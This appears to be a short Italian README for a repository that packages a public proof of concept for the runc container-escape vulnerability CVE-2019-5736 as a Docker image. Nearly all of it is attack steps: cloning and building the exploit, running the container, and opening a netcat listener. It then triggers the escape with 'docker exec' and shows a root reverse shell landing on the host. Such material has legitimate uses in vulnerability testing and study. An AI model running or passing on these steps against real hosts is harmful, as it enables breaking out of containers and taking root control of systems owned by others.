yyqs2008/cve-2019-5736-poc-2
Una versione dell'exploit del seguente repository resa eseguibile come immagine Docker.
$ git clone https://github.com/k-onishi/CVE-2019-5736-PoC
$ cd CVE-2019-5736-PoC
$ make
$ sudo docker build -t poc .
Esecuzione del container e ascolto sulla porta lato host.
# terminal 1
$ sudo docker run poc
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
Esecuzione di runc.
# terminal 3
$ sudo docker ps --format {{.Names}}
modest_lalande
docker exec -it modest_lalande /bin/sh
La shell viene restituita a nc.
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
sh: このシェルではジョブ制御が無効になっています
sh-4.2#
$ uname -a
Linux CVE-2019-5736-CentOS 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ sudo cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
